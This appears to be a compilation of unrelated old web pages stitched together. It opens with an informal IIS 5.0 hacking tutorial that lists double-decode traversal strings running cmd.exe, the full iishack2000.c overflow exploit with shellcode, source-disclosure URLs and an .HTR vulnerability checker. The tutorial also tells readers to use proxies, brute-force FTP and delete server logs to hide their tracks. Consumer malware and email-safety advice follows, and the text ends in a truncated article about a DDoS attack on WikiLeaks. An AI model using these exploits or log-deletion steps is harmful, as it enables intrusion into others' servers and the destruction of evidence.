/_vti_bin/
/scripts/
/msadc/
/iissamples/
/_vti_pvt/
/_vti_cnf/
/_private/

"What good does this do?" you might ask? Well, first it gives you a feel for the directory structure of the machine. And second, if they have failed to patch their machine, you might be able to exploit it using one of the technique's I describe in this paper. After checking those first directories, you can check for some common directories on websites that have chosen not to keep the default structure such as these.

/cgi-bin/ /bin/ /admin/ /config/ /asp/
/cfg/ /exe/ /php/ /perl/ /binary/
/src/ /tar/ /include/ /topics/ /pwd/
/private/ /conf/ /logs/ /log/ /audio/
/sound/ /pvt/ /images/ /public/ /home/
/cpp/ /db/ /data/ /news/


But don't let this list limit you. You must know as much as possible about the system. So use your imaginiation. Ok? Done using your imagination. Ready for the 31337 stuff? Lets begin. If the web page has a default under construction page, it is most likely that the Server was installed by accident and that the current user of the computer does not know about it.
It has happened many times. At least 5 times with people I know. However whether or not they installed it by accident, the known vulnerabilities for the default installation are worthless if they used the windows update.
Which eradicates at least 10-20 exploits. Also before you start hacking away at the server you want do a port scan, if you haven't already, and see if ftp is running it might come in handy as we will discuss later.

The first exploits I will discuss are the Double Decode(sometimes called the Superflous Decode)Directory Traversal Attacks. These are easily exploitable on a default installation of IIS 5.0. Some people think that you must have a myriad of tools to hack. This is a very clean cut example that prooves you can get root, armed with only a web browser. To exploit this you must first find a directory with execute permissions. Such directories by default are:
scripts, iissamples, msadc, and _vti_bin. In a possible exploit request string you could have "http://55.55.55.55/scripts" & *Exploit String*. I put
*A Exploit String there because there are many to choose from as listed below.(These exploit strings all execute the dos command dir, which gives directory listing)

/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:


/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+d
ir+c:
/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:
/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:
/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:


/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c
:
/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:


/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cm
d.exe?/c+dir+c:



I am going to stop listing exploit strings to preserve brevity. But the way the exploit works is that IIS checks for "/../../" (dot-slash) attacks before decoding the request string. So it does not notice that after it decodes the urlencoded string that it is in fact allowing a traversal to take place. Maybe an example will help. Let decode this string

"/scripts/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\". We know that %35 decodes to 5 so replace all the %35s with 5 which looks like
this "/scripts/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe?/c+dir+c:\".

Then it checks to make sure it got all the url encoded stuff and it realizes it forgot to decode %5c, which is a \(also IIS changes /'s to \'s). Thus the final path that IIS is left with is

"\scripts\..\..\..\..\winnt\system32\cmd.exe?\c+dir+c:\" which tells IIS to hop down four directories and then to look in c:\winnt\system32\cmd.exe and since the original directory was scripts and had execute permissions it
executes the shell "cmd.exe" and passes the command line parameters behind the ? in the http request. The shell command would look like this "cmd.exe /c dir c:\".

This is exploit is only limited by your imagination. You can copy files, delete them, disable logging and even delete old logs by utilizing this technique. I have heard that you can upload files using it as well but I
haven't been able to do it myself. You can make their floppy drive spin and if they have a disk in at the time, you can read files off of it easily with a type command! This is possible with a cd-rom drive too. There is probably a way to eject the cdrom but I don't know how. More information on this exploit at end of paper.

The next exploit is the exploit used by the codered worm to squiggle its way through the internet And unless you live in front of your old commodore 64 with no internet connection(which some of you might judging from the pictures at neworder) you will no doubt know how effective codered was. The exploit was dubbed the IDQ .Printer Overflow(Pronounced I Dee Que (dot) Printer). The exploit was first discovered by [url]www.eeye.com[/url] they released a simple proof of concept. The proof of concept writes a file to the root of any machine that describes how to remedy the vulnerability. The exploit is done by making a request such as


GET /NULL.printer HTTP/1.0
HOST: [420 char Buffer]

[url]www.eeye.com[/url] Note: I have been unable to get their proof of concept to work and will provide another and references to others at the end of this paper.


Begin File iishack2000.c #ifdef _WIN32
#include 
#include #define snprintf _snprintf #else
#include 
#include 
#include 
#include #endif
#include 

void usage();
unsigned char GetXORValue(char *szBuff, unsigned long filesize);

unsigned char sc[2][315]={
"\x8b\xc4\x83\xc0\x11\x33\xc9\x66\xb9\x20\x01\x80\x30\x03\x40\xe2\xfa\
xeb\x03\x03\x03\x03\x5c\x88\xe8\x82\xef\x8f\x09\x03\x03\x44\x80\x3c\xfc\x76\
xf9\x80\xc4\x07\x88\xf6\x3
0\xca\x83\xc2\x07\x88\x04\x8a\x05\x80\xc5\x07\x80\xc4\x07\xe1\xf7\x30\xc3\x8
a\x3d\x80\xc5\x07\x80\xc4\
x17\x8a\x3d\x80\xc5\x07\x30\xc3\x82\xc4\xfc\x03\x03\x03\x53\x6b\x83\x03\x03\
x03\x69\x01\x53\x53\x6b\x0
3\x03\x03\x43\xfc\x76\x13\xfc\x56\x07\x88\xdb\x30\xc3\x53\x54\x69\x48\xfc\x7
6\x17\x50\xfc\x56\x0f\x50\
xfc\x56\x03\x53\xfc\x56\x0b\xfc\xfc\xfc\xfc\xcb\xa5\xeb\x74\x8e\x28\xea\x74\
xb8\xb3\xeb\x74\x27\x49\xe
a\x74\x60\x39\x5f\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\x2d\x77\x7
b\x77\x03\x6a\x6a\x70\x6b\
x62\x60\x68\x31\x68\x23\x2e\x23\x66\x46\x7a\x66\x23\x47\x6a\x64\x77\x6a\x62\
x6f\x23\x50\x66\x60\x76\x7
1\x6a\x77\x7a\x0e\x09\x23\x45\x6c\x71\x23\x67\x66\x77\x62\x6a\x6f\x70\x23\x7
5\x6a\x70\x6a\x77\x39\x23\
x4b\x77\x77\x73\x39\x2c\x2c\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\
x03\x03\x03\x03\x03\x03\x0
3\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x90\x90\x90\x90\x90\x9
0\x90\x90\xcb\x4a\x42\x6c\
x90\x90\x90\x90\x66\x81\xec\x14\x01\xff\xe4\x03\x03\x03\x03\x03\x03\x03\x03\
x03\x03\x03\x03\x03\x03\x0
3\x03\x03\x03\x03\x03\x03\x03\x00",


"\x8b\xc4\x83\xc0\x11\x33\xc9\x66\xb9\x20\x01\x80\x30\x03\x40\xe2\xfa\
xeb\x03\x03\x03\x03\x5c\x88\xe8\x82\xef\x8f\x09\x03\x03\x44\x80\x3c\xfc\x76\
xf9\x80\xc4\x07\x88\xf6\x3
0\xca\x83\xc2\x07\x88\x04\x8a\x05\x80\xc5\x07\x80\xc4\x07\xe1\xf7\x30\xc3\x8
a\x3d\x80\xc5\x07\x80\xc4\
x17\x8a\x3d\x80\xc5\x07\x30\xc3\x82\xc4\xfc\x03\x03\x03\x53\x6b\x83\x03\x03\
x03\x69\x01\x53\x53\x6b\x0
3\x03\x03\x43\xfc\x76\x13\xfc\x56\x07\x88\xdb\x30\xc3\x53\x54\x69\x48\xfc\x7
6\x17\x50\xfc\x56\x0f\x50\
xfc\x56\x03\x53\xfc\x56\x0b\xfc\xfc\xfc\xfc\x50\x33\xeb\x74\xf7\x86\xeb\x74\
x2e\xf0\xeb\x74\x4c\x30\xe
b\x74\x60\x39\x5f\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\x2d\x77\x7
b\x77\x03\x6a\x6a\x70\x6b\
x62\x60\x68\x31\x68\x23\x2e\x23\x66\x46\x7a\x66\x23\x47\x6a\x64\x77\x6a\x62\
x6f\x23\x50\x66\x60\x76\x7
1\x6a\x77\x7a\x0e\x09\x23\x45\x6c\x71\x23\x67\x66\x77\x62\x6a\x6f\x70\x23\x7
5\x6a\x70\x6a\x77\x39\x23\
x4b\x77\x77\x73\x39\x2c\x2c\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\
x03\x03\x03\x03\x03\x03\x0
3\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x90\x90\x90\x90\x90\x9
0\x90\x90\xcb\x4a\x42\x6c\
x90\x90\x90\x90\x66\x81\xec\x14\x01\xff\xe4\x03\x03\x03\x03\x03\x03\x03\x03\
x03\x03\x03\x03\x03\x03\x0
3\x03\x03\x03\x03\x03\x03\x03\x00"};

main (int argc, char *argv[])
{
char request_message[500];
int X,sock,sp=0;
unsigned short serverport=htons(80);
struct hostent *nametocheck;
struct sockaddr_in serv_addr;
struct in_addr attack;
#ifdef _WIN32
WORD werd;
WSADATA wsd;
werd= MAKEWORD(2,0);
WSAStartup(werd,&wsd);
#endif
printf("iishack2000 - Remote .printer overflow in 2k sp0 and sp1\n");
printf("Vulnerability found by Riley Hassell \n");
printf("Exploit by Ryan Permeh \n");
if(argc < 4) usage();
if(argv[1] != NULL)
{
nametocheck = gethostbyname (argv[1]);
memcpy(&attack.s_addr,nametocheck->h_addr_list[0],4);
}
else usage();
if(argv[2] != NULL)
{
serverport=ntohs((unsigned short)atoi(argv[2]));
}
if(argv[3] != NULL)
{
sp=atoi(argv[3]);
}
printf("Sending string to overflow sp %d for host: %s on
port:%d\n",sp,inet_ntoa(attack),htons
(serverport));
memset(request_message,0x00,500);
snprintf(request_message,500,"GET /null.printer HTTP/1.1\r\nHost:
%s\r\n\r\n",sc[sp]);
sock = socket (AF_INET, SOCK_STREAM, 0);
memset (&serv_addr, 0, sizeof (serv_addr));
serv_addr.sin_family=AF_INET;
serv_addr.sin_addr.s_addr = attack.s_addr;
serv_addr.sin_port = serverport;
X=connect (sock, (struct sockaddr *) &serv_addr, sizeof
(serv_addr));
if(X==0)
{


send(sock,request_message,strlen(request_message)*sizeof(char),0);
printf("Sent overflow, now look on the c: drive of %s for
www.eEye.com.txt\n",inet_nto
a(attack));
printf("If the file doesn't exist, the server may be
patched,\nor may be a different s
ervice pack (try again with %d as the service pack)\n",sp==0?1:0);
}
else
{
printf("Couldn't connect\n",inet_ntoa(attack));
}
#ifdef _WIN32
closesocket(sock);
#else
close(sock);
#endif
return 0; } void usage() {
printf("Syntax: iishack2000 pack>\n");
printf("Example: iishack2000 127.0.0.1 80 0\n");
printf("Example: iishack2000 127.0.0.1 80 1\n");
exit(1);
}

End of File


The next series of exploits will focus on script source code disclosure. The first exploit for this is caused by a sample script that comes with IIS 5.0. It's name is codebrws.asp. codebrws.asp was meant to show people how to create simple scripts, and is also able to format already created scripts into nice colors, anyway, it opens the file specified in the url variable &source.

/iissamples/sdk/asp/docs/codebrws.asp?source=/iissamples/sdk/asp/docs/codebr ws.asp
/iissamples/sdk/asp/docs/codebrws.asp?source=/iissamples/%c0%ae%c0%ae/iissta rt.asp

The next vulnerability is releatively new, so I won't pretend to have experience exploiting it. It's called the HTR Chunked Encoding Buffer overflow and I have a proof of concept right here for you. The Information
you need should be in the script. It is in perl, sorry windows users, but if you use windows and still want to try to run it, goto activestate.com

Begin File HTR_Exploit.pl


#!/usr/bin/perl


########################################################################
# (c) Filip Maertens/CISSP, .HTR Heap Overflow checker.
#
# DISCLAIMER: This tool is only to be used for legitimate purposes only.
# This is considered as an intrusive, so please adhere to the laws and
# regulations applicable in your country. Oh, and honey, there is pizza
# in the fridge...
#
# CREDITS: [EMAIL REMOVED]/KPMG for the advisory
# Thor Larholm for the patch identification remark
#
########################################################################




use Socket;


print "iischeck.pl | Microsoft .HTR Heap Overflow Checker |
\n-------------------------------------------------------
----------------\n";


$host= [EMAIL REMOVED][ 0 ];
$method= [EMAIL REMOVED][ 2 ];
my $target = inet_aton($host);
$port = 80;


$requestmethod[0] = "GET";
$requestmethod[1] = "HEAD";
$requestmethod[2] = "POST";




# Initializing strings & vars


$patchedstring = "InsertElementAnchor";
$nonpatchedstring = "document.write";
$bogusurl = "/xxxiischeckxxx";




# Main loop of rotten code


if ($host ne "") {


print " -- Checking hostname: $host\n";


$rawrequest = "$requestmethod[$method] $bogusurl
HTTP/1.1\nClient-Agent:iischeck.pl\nHost:$host\r\n\r\n";
[EMAIL REMOVED] = sendrequestandgetanswer($rawrequest);


$criticalline = $results[49]; # 49, since HTTP headers are included


if ($results[2] =~ "IIS") {


SWITCH: {
if ($criticalline =~ $nonpatchedstring) { $patched = " -- 
Status: System vulnerable."; last SWITCH; }
if ($criticalline =~ $patchedstring) { $patched = " -- 
Status: System MS02-18 patched."; last SWITCH; }
$patched = " -- Status: Cannot identify patch level";
}


print "$patched\n\n";


} else {


print " -- Error: System is not a Windows/IIS host.\n\n";


}


} else {




showusage();


}




exit(0);




#######: Functions used by iischeck.pl :#######


sub showusage
{
print "Usage: iischeck [hostname] -method [method]\n";
}


sub sendrequestandgetanswer
{
my ($rawrequest)= [EMAIL REMOVED];
[EMAIL REMOVED] = sendrawandgetanswer ($rawrequest);
return [EMAIL REMOVED];
}


sub sendrawandgetanswer
{
my ($pstr)=[EMAIL REMOVED];
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') || 0) || die(" -- 
Error in creating socket\n");
if (connect(S,pack "SnA4x8",2,$port,$target))
{
my [EMAIL REMOVED]="";
select(S);
$|=1; print $pstr;


{
push [EMAIL REMOVED],$_;
last if ($line=~ /^[rn]+$/ );
}
select(STDOUT);


return [EMAIL REMOVED];
}
else
{
die(" -- Error connecting to: $host\n");
}
}




sub sendraw
{
my ($pstr)=[EMAIL REMOVED];
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') || 0) || die("Socket
problems\n");
if (connect(S,pack "SnA4x8",2,$port,$target))
{
my [EMAIL REMOVED]="";
select(S);
$|=1;
print $pstr;


}
else
{
die("connect problems\n");
}
}

End of File

Well I know the last one needs more info, but hey, would it be fun If I spoonfed ya'll all the way? That exploit unlike the other's listed will even ork with IIS 5.1, which is the web server that comes with Windows XP
Professional.

So you got in? You have at this point (hopefully) found a hole in this IIS server and have or are going to exploit it. What you do next is up to you.
But bear in mind that, by default, all actions on IIS 5 and it's FTP server are logged. And that is what the next seciton is about. The web server log resides in

 "c:\winnt\system32\logfiles\w3svc1\". 

The FTP
server log is stored in "c:\winnt\system32\logfiles\ftpsvc1\". They log you rip address and what request you made to the server. By default they do not examine your request to see if you used a proxy. The logfiles are named according to the date. Everyday IIS creates a new logfile. So, if you did some naughty stuff today, find a proxy, come back tomorrow, and use these command's by way of the double decode exploit, if they are available. If they aren't available, because no directories, have execute permission's you can brute force the FTP server(use a ftp proxy for this one to!), and then when you get admin privileges, you can delete the logs, or modify them, and don't forget to save some of them to your box, many times, you will find boxe's ips that have fallen victim to the codeRed worm, and those are vulnerable to the double decode attack, and the IDQ buffer overflow, and most of the time are complete default IIS 5 installations.

Useful Double Decode Command's(The command comes after the exploit string) By the way I haven't tested all of these but I have tested as many as I could, the reason I couldn't test them all was because my server that I was using was shut down while I was testing them.

/cmd.exe?/c+dir+c:
/cmd.exe?/c+type+....win.ini (Try Different combinations with this one,
for some reason c:pathfilename didn't work in my test
/cmd.exe?/c+type+..\..\config.sys
/cmd.exe?/c+dir+c:\WinNT\System32\LogFiles\
/cmd.exe?/c+del+\LogFiles\w3svc1\ex030601.log
or
/cmd.exe?/c+del+c:\WinNT\System32\Logfiles\ex030601.log

The last one was just an example, but remember your going to have to find out the names of the logfiles so you can delete them yourself. Remember though, you can't delete the most recent logfile as it is being used by IIS, so if your unable to modify win.ini to delete it. And don't forget, search google for the command's that let you upload files using tftp. I hope you have at least been enlightened in some way about IIS 5 in this paper, thank you If you think this paper could use a little more before being posted or whatever just send it back with comments I will revise it if needed.

Malware

Dealing with Dealing with Malware

“Malware” is the term used for any software that is remotely, and most times unknowingly, installed on a computer for the purpose of gathering information and sharing it with third parties. It is a big problem for computers running Microsoft Windows.

Types of Malware

• Adware: displays ads when you are surfing the web (pop-up windows or banners)
• Spyware: software that secretly gathers information and transmits it to interested parties. This information could be web sites you visit, browser and system information, or your computer IP address.
• Browser Hijacking Software: advertising software that modifies your browser settings (e.g. default home page, search bars, toolbars), creates desktop shortcuts, and displays intermittent advertising pop-ups. Once a browser is hijacked, the software may also redirect links to other sites that advertise, or sites that collect Web usage information.

How Malware Is Installed

There are several ways that Malware can be unknowingly installed on your computer:

• Software bundled with "other software".
  • Download managers and file sharing applications often come with malware.
  • You should be wary of downloading any free software.
  • Software that offers to speed up the internet will contain adware.
• Malicious ActiveX Control
  • At some web pages you will be prompted to run ActiveX control (Microsoft technology that links desktop technology to the Internet).
  • You should only click yes if it is a trusted web page. With untrusted web pages you run the risk of getting infected with malware when you run it.
  • It is important to make sure your IE security settings are not set lower than normal so it won't run automatically.
• Some web sites will tell you that software is needed to view the site
  • If you click 'yes' to install the software you have malware.
• Concealed HTML attachments
  • HTML attachments leave malware on your computer.
  • You should configure email tools, like Outlook Express, to render html mail as text.

Some malware provides no uninstall option, and installs itself in unexpected and hidden places (e.g. modifies the operating system, thus making it more difficult to remove).

Malware can be the vehicle used to a trojan (a program that appears safe, but contains a virus).

Some malware is so severe, it means you have to re-image your computer (re-install the operating system), and there is a risk of losing personal data.

How do You Know if You Have Malware?

There are many symptoms, some of which include:

• poor system performance
• computer takes longer to startup
• browser closes unexpectedly or stops responding
• when performing a search, results are on a different site
• clicking on a link does nothing, or goes to an unrelated page
• browser home page changes to a different site and you can't change it back
• pop-up advertising windows appear when the browser is not open or over web pages that don't normally have pop-ups
• additional toolbars are added to the browser
• web pages are automatically added to the list of favorites
• desktop icons are automatically added to the desktop
• when you are viewing a web site, other instances of your browser open to display advertisements
• you cannot start a program

Malware Culprits

If you would like a list of culprits and descriptions, check out SpywareGuide.com.

Removing Malware

Protecting your computer from malware is different from protecting against viruses. Having an up to date anti-virus program is important but will not guard against malware. To do this you must have a separate program installed on your computer.

There is no one product currently available that is designed or capable of catching all malware.

Be careful about bogus software that claims to clean malware!!! Some programs that claim to get rid of malware actually put more on your computer. You should be very hesitant to what programs you download. We recommend using Spybot and Ad-Aware.

Spybot Search and Destroy

Spybot is free, but donations are welcomed to help with costs. You can download Spybot.

You should be careful as it has been reported that there are other sites pretending to be Spybot, which are actually sites spreading malware.

You will need to regularly check for updates, immunize and run a scan to ensure the security of your computer.

Ad-Aware

Ad-Aware is free for home computers, but there is a fee for installing on commercial computers. You can download Ad-Aware.

You will need to regularly check for updates and run a scan to ensure the security of your computer.

Preventative Measures

There are some other steps you can take to reduce the risk of installing malware:

1. Make sure you install the latest Symantec (Norton) AntiVirus updates weekly and keep real time protection turned on.
2. Keep your computer patched and firewalled.
3. Run your antispyware software on a regular basis and keep it updated.
4. After you remove spyware reboot and scan again.
5. Use more than one antispyware tool (Spybot and Ad-Aware are recommended).
6. Make sure your Internet Explorer security settings are set to at least medium. (Tools->Internet Options->Security).
7. Block pop-ups in IE (Tools->Internet Options->Privacy)
8. Configure your email tool to render html as text.
9. Remove yourself from Power User Status.

NOTE: Few malware ,torjaon made changes in system registry so spy boat  will not able to remove it , then you can restart your pc in safe mode and run it ...:) its amezing

References

Other reference sites to help keep your computer secure:

• IST's Computer and Network Security
• Using Your Personal Computer @UWaterloo.ca
• 
  

Virus Free Computer Tips !!!

Is your computer infected with virus? Do you often get mysterious error messages? Well this is a common problem faced by almost all the computer users across the globe. There are many viruses and worms out there that could infect your computer. Some are harmless, but, they do have the capacity to do any number of nasty things, up to and including, erasing all data from your computer. However there are ways to keep viruses away from your PC. Here are the 12 tips to maintain a virus free computer.

1. Email is one of the common ways by which your computer can catch a virus. So it is always recommended to stay away from SPAM. Open only those emails that has it’s origin from a trusted source such as those which comes from your contact list. If you are using your own private email host (other than gmail, yahoo, hotmail etc.) then it is highly recommended that you use a good anti-spam software. And finally NEVER click on any links in the emails that comes from untrusted sources.

2. USB thumb/pen drives is another common way by which viruses spread rapidly. So it is always a good habit to perform a virus scan before copying any data onto your computer. NEVER double-click the pen drive to open it. Instead right-click on it and select the option “open”. This is a safe way to open a pen drive.

3. Be careful about using MS Outlook. Outlook is more susceptible to worms than other e-mail programs, unless you have efficient Anti-Virus programs running. Use Pegasus or Thunderbird (by Mozilla), or a web-based program such as Hotmail or Yahoo (In Firefox).

4. As we all know, Internet is the main source of all the malicious programs including viruses, worms, trojans etc. In fact Internet contributes to virus infection by up to 80%. So here are the tips for safe surfing habits so that you can ward off virus infection up to the maximum extent.

• Don’t click on pop-up windows that announce a sudden disaster in your city or announce that you’ve won an hourly prize. They are the ways to mislead Internet users and you should never trust them.

• You can also use a pop-up blocker to automatically block those pop-ups.

5. Most of us use search engines like Google to find what we are looking for. It is quite obvious for a malicious website to get listed in the search results. So to avoid visiting those untrusted malicious websites, you can download and install the AVG LinkScanner which is a freeware. This tool can become very handy and will help you to stay away from malicious websites.

6. Install a good antivirus software and keep it updated. Also perform full system scan periodically. It is highly recommended that you turn on the automatic update feature. This is the most essential task to protect your PC from virues. If PC security is your first option then it is recommended that you go for a shareware antivirus software over the free ones. Most of the antivirus supports the Auto-Protect feature that provides realtime security for your PC. Make sure that this feature is turned on.

7. Install a good Antispyware program, that operates against Internet malware and spyware.

8. Never open any email attachments that come from untrusted sources. If it is a picture, text or sound file (these attachments end in the extensions .txt, .jpeg, .gif, .bmp, .tif, .mp3, .htm, .html, and .avi), you are probably safe, but still do a scan before opening.

9. Do not use disks that other people gave you, even from work. The disk could be infected with a virus. Of course, you can run a virus scan on it first to check it out.

10. Set up your Windows Update to automatically download patches and upgrades. This will allow your computer to automatically download any updates to both the operating system and Internet Explorer. These updates fix security holes in both pieces of software.

11. While you download files from untrusted websites/sources such as torrents, warez etc. make sure that you run a virus scan before executing them.

12. And finally it is recommended not to visit the websites that feature illegal/unwanted stuffs such as cracks, serials, warez etc. since they contribute much in spreading of viruses and other malicious programs.

How to Protect an Email Account from Being Hacked

Today in this post I’ll teach you how to protect your email account from being hacked. Nowadays I get a lot of emails where most of the people say “My Email account is hacked please help…”. Now one question which arises in our mind is: “Is it so easy to hack an email account? OR Is it so difficult to protect an email account from being hacked?”. The single answer to these two questions is “Absolutely NOT!”. It is neither easy to hack an email nor difficult to protect an email account from bieng hacked.

If this is the case, then what is the reason for many people to lose their accounts?

The answer is very simple. They don’t know how to protect themselves from being hacked! In fact most of the people who lose their email accounts are not the victims of hacking but the victims of Trapping. They lose their passwords not because they are hacked by some expert hackers but they are fooled to such an extent that they themselves give away their password.

Are you confused? If so continue reading and you’ll come to know…

Now I’ll mention some of the most commonly used online scams which fool people and make them lose their passwords. I’ll also mention how to protect your email account from these scams.

1. WEBSITE SPOOFING

Website spoofing is the act of creating a website, with the intention of misleading the readers. The website will be created by a different person or organisation (Other than the original) especially for the purposes of cheating. Normally, the website will adopt the design of the target website and sometimes has a similar URL.

For example a Spoofed Website of Yahoo.com appears exactly same as Yahoo Website. So most of the people believe that it is the original site and lose their passwords. The main intention of spoofed websites is to fool users and take away their passwords. For this,the spoofed sites offer fake login pages. These fake login pages resemble the original login pages of sites like Yahoo,Gmail,Orkut etc. Since it resemble’s the original login page people beleive that it is true and give away their username and passwords by trying to login to their accounts.

Solution:

• Never try to login/access your email account from the sites other than the original site.
• Always type the URL of the site in the address bar to get into the site. Never click on the hyperlink to enter the site.

2. BY USING KEYLOGGERS

The other commonly used method to steal password is by using a Keylogger. A Keylogger is nothing but a spyware. The detailed description of keylogger and it’s usage is discussed in the post Hacking an email account. If you read this post you’ll come to know that it is too easy to steal the password using a keylogger program. If you just access your email account from a computer installed with keylogger, you definitely lose your password. This is because the keylogger records each and every keystroke that you type.

Solution:

Protecting yourselves from a keylogger scam is very easy.Just install a good anti-spyware program and update it regularly. This keeps your PC secure from a keylogger. Also there is a program called Anti-keylogger which is specially designed to detect and remove keyloggers. You can use this program to detect some stealth keyloggers which remain undetected by many anti-spyware programs.

3. ACCESSING YOUR EMAIL ACCOUNT FROM CYBER CAFES

Do you access your email from cyber cafes?  Then definitely you are under the risk of loosing your password.In fact many people lose their email account in cyber cafes. For the owner of the cyber cafe it’s just a cakewalk to steal your password. For this he just need’s to install a keylogger on his computers. So when you login to your email account from this PC, you give away your password to the cafe owner. Also there are many Remote Administration Tools (RATs) which can be used to monitor your browsing activities in real time.

This doesn’t mean that you should never use cyber cafes for browsing the internet. I know, not all the cyber cafe owners will be so wicked but it is recommended not to use cafes for accessing confidential information. If it comes to the matter of security never trust anyone, not even your friend. I always use my own PC to login to my accounts to ensure safety.

So with this I conclude my post and assume that I have helped my readers to protect their email accounts from being hacked.

Wikileaks under mass distributed denial of service attacks

DDOS (Distributed Denial of Service)

In short: Distributed Denial of Service, or DDoS. A group of computer users or an organization distributed across multiple systems floods the host's servers with spurious requests for access, Is showed in the below graph,  traffic to one of Wikileak’s primary hosting provider> At approximately 10:05am EST, traffic abruptly jumps by 2-4 Gbps as the attack begins.

The attack was "exceeding 10 Gigabits a second" 
Another way to think of it is that someone, somewhere is demanding that the WikiLeaks cablegate site deliver the equivalent of 114 movies per second
.
DNS too (Dynamic Network Services Inc.)
On 2 December 2010 American owned EveryDNS dropped WikiLeaks from its entries, citing DDoS attacks that "threatened the stability of its infrastructure".The site's 'info' DNS lookup remained operational at alternative addresses for direct access respectively to the Wikileaks and Cablegate websites


The Hacker who took it down (The Jester)
th3j35t3r
So who is this hacker?
The hacker, who calls himself The Jester and goes by the name th3j35t3r on Twitter, said he was motivated to take down WikiLeaks for patriotic reasons. He also said his other targets include Web sites used by Al Qaeda and other terrorists groups for recruiting purposes.
What he used? - XerXeS
He apparently developed a multi-thread, thin-client denial of service attack application that effectively allows him to launch a distributed denial of service (DDOS) attack on a website from a single linux server.
The everal interviews with The Jester, along with two videos he made for Infosec Island that demonst